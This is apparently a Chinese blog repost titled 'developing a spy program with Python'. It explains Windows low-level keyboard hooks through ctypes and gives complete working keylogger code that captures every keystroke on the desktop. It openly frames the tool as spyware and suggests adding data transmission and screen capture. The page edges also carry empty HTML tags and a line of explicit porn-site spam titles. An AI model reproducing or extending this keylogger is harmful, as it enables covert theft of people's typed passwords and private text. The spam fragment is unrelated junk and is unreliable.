<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Python 開發(fā)一個間諜小程序

          共 4429字,需瀏覽 9分鐘

           ·

          2020-09-28 09:49


          點擊上方“python入門與進(jìn)階”,關(guān)注并“星標(biāo)

          每日接收Python干貨!

          這次我們使用 Python 來打造一款間諜程序,程序中會用到許多知識點,大致分為四塊:
          • win32API
          • Python基礎(chǔ),重點在cpytes庫的使用
          • C語言基礎(chǔ)
          • Hook

          程序的基本原理在于通過注冊Hook,記錄系統(tǒng)事件。

          那么什么是Hook呢?

          Hook 技術(shù)又叫做鉤子函數(shù),系統(tǒng)在調(diào)用函數(shù)之前,鉤子程序就先捕獲該消息,鉤子函數(shù)先得到控制權(quán),這時鉤子函數(shù)既可以加工處理(改變)該函數(shù)的執(zhí)行行為,還可以強(qiáng)制結(jié)束消息的傳遞
          注冊Hook時我們需要先導(dǎo)入DLL庫,在Python中我們使用ctypes來導(dǎo)入,導(dǎo)入方法如下
          user32 = CDLL("user32.dll")
          kernel32 = CDLL("kernel32.dll")
          我們導(dǎo)入了user32.dllkernel32.dll。這兩個DLL有什么用處呢
          • user32.dll 是Windows用戶界面相關(guān)應(yīng)用程序接口,用于包括Windows處理,基本用戶界面等特性,如創(chuàng)建窗口和發(fā)送消息
          • kernel32.dll 控制著系統(tǒng)的內(nèi)存管理、數(shù)據(jù)的輸入輸出操作和中斷處理**

          流程部分

          知道了我們要使用什么樣的工具,那么第一步應(yīng)該怎么做呢?
          1、首先我們需要先注冊Hook到系統(tǒng)上,通過user32.dll中的SetWindowsHookExA函數(shù),我們可以在系統(tǒng)上注冊鉤子
          HHOOK SetWindowsHookExA( int idHook,
          HOOKPROC lpfn,
          HINSTANCE hmod,
          DWORD dwThreadId
          );
          通過查看文檔我們看到SetWindowsHookExA函數(shù)的參數(shù)及參數(shù)類型如上所示。
          通過文檔我們看到第一個參數(shù)idHook中填入鉤子的類型
          WH_KEYBOARD_LL的常量值為13代表的意思是監(jiān)視低級鍵盤輸入事件,我們此處來監(jiān)聽鍵盤事件
          第二個參數(shù)lpfn代表指向鉤子過程的指針,要填入鉤子過程(函數(shù)),我們可以在此處來添加額外代碼達(dá)到我們想要達(dá)成的目的
          第三個參數(shù)hmod表示為DLL句柄,我們可以使用kernel32中的GetModuleHandleW來獲取句柄
          最后一個參數(shù)dwThreadId我們填入0代表與同一桌面上所有的線程關(guān)聯(lián)
          代碼如下
          user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)
          如何使用Python來編寫我們的鉤子過程呢,通過ctypes文檔我們可以得知windows下使用WINFUNCTYPE來創(chuàng)建函數(shù)
          此時我們發(fā)現(xiàn)有WINFUNCTYPE和CFUNCTYPE兩個函數(shù),具體要使用哪一個呢,這兩個的區(qū)別為
          • WINFUNCTYPE 為Windows下獨有的,通過使用使用stdcall調(diào)用約定的函數(shù)
          • CFUNCTYPE 使用標(biāo)準(zhǔn)C調(diào)用約定的函數(shù)
          HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
          因為我們調(diào)用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL會使用LowLevelKeyboardProc回調(diào)函數(shù),同時我們也需要在Python定義它
          LowLevelKeyboardProc數(shù)據(jù)結(jié)構(gòu)如下
          LRESULT CALLBACK LowLevelKeyboardProc(
          _In_ int nCode,
          _In_ WPARAM wParam,
          _In_ LPARAM lParam
          );
          按照官方文檔提示?如果**nCode**小于零,則掛鉤過程必須將消息傳遞給CallNextHookEx函數(shù),而無需進(jìn)一步處理,并且應(yīng)返回CallNextHookEx返回的值
          我們轉(zhuǎn)換為Python代碼
          class KBDLLHOOKSTRUCT(Structure):
          _fields_ = [
          ('vkCode', DWORD),
          ('scanCode', DWORD),
          ('flags', DWORD),
          ('time', DWORD),
          ('dwExtraInfo', DWORD)] def hookProc(nCode, wParam, lParam): if nCode < 0: return user32.CallNextHookEx(hooked, nCode, wParam, lParam) else:
          # 此處插入我們的代碼 pass
          return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
          最后在我們退出程序時還需要刪除Hook,不然大量的Hook會使系統(tǒng)運行緩慢,雖然在Windows 7及更高版本上,該鉤子會被靜默刪除而不被調(diào)用。應(yīng)用程序無法知道掛鉤是否已刪除。我們還是主動進(jìn)行刪除
          刪除需要使用user32.dllUnhookWindowsHookEx,參數(shù)為Hook句柄
          user32.UnhookWindowsHookEx(hooked)
          下面貼上全部代碼
          import sys
          from ctypes import *
          from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM

          user32 = CDLL("user32.dll")
          kernel32 = CDLL("kernel32.dll")


          class KBDLLHOOKSTRUCT(Structure):
          _fields_ = [
          ('vkCode', DWORD),
          ('scanCode', DWORD),
          ('flags', DWORD),
          ('time', DWORD),
          ('dwExtraInfo', DWORD)]


          def uninstallHookProc(hooked):
          if hooked is None:
          return
          user32.UnhookWindowsHookEx(hooked)
          hooked = None


          def hookProc(nCode, wParam, lParam):
          if nCode < 0:
          return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
          else:
          if wParam == 256:
          if 162 == lParam.contents.value:
          print("Ctrl pressed, call Hook uninstall()")
          uninstallHookProc(hooked)
          sys.exit(-1)
          capsLock = user32.GetKeyState(20)
          # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
          if lParam.contents.value==13:
          print("\n")
          elif capsLock:
          print(chr(lParam.contents.value),end="")
          else:
          print(chr(lParam.contents.value+32),end="")
          return user32.CallNextHookEx(hooked, nCode, wParam, lParam)


          def startKeyLog():
          msg = MSG()
          user32.GetMessageA(byref(msg), 0, 0, 0)


          def installHookProc(hooked, pointer):
          hooked = user32.SetWindowsHookExA(
          13,
          pointer,
          kernel32.GetModuleHandleW(),
          0
          )
          if not hooked:
          return False
          return True


          HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
          pointer = HOOKPROC(hookProc)
          hooked = None
          if installHookProc(hooked, pointer):
          print("Hook installed")
          try:
          msg = MSG()
          user32.GetMessageA(byref(msg), 0, 0, 0)
          except KeyboardInterrupt as kerror:
          uninstallHookProc(hooked)
          print("Hook uninstall...")
          else:
          print("Hook installed error")

          貼上我們的效果圖

          我們還可以再添加上額外的代碼比如數(shù)據(jù)傳輸,截屏等等? ^_^

          作者:寂夜云https://www.cnblogs.com/lonenysky/p/12341074.html?

          --END--

          回復(fù)關(guān)鍵詞「簡明python」,立即獲取入門必備書籍簡明python教程》電子版

          回復(fù)關(guān)鍵詞「爬蟲」,立即獲取爬蟲學(xué)習(xí)資料

          python入門與進(jìn)階
          每天與你一起成長

          推薦閱讀

          點「在看」的人都變好看了哦!
          瀏覽 43
          點贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  亚洲色图1| 91精品国产91热久久久做人人 | 在线免费播放黄色电影 | 狠狠狠狠狠操 | 爱搞搞就要搞 |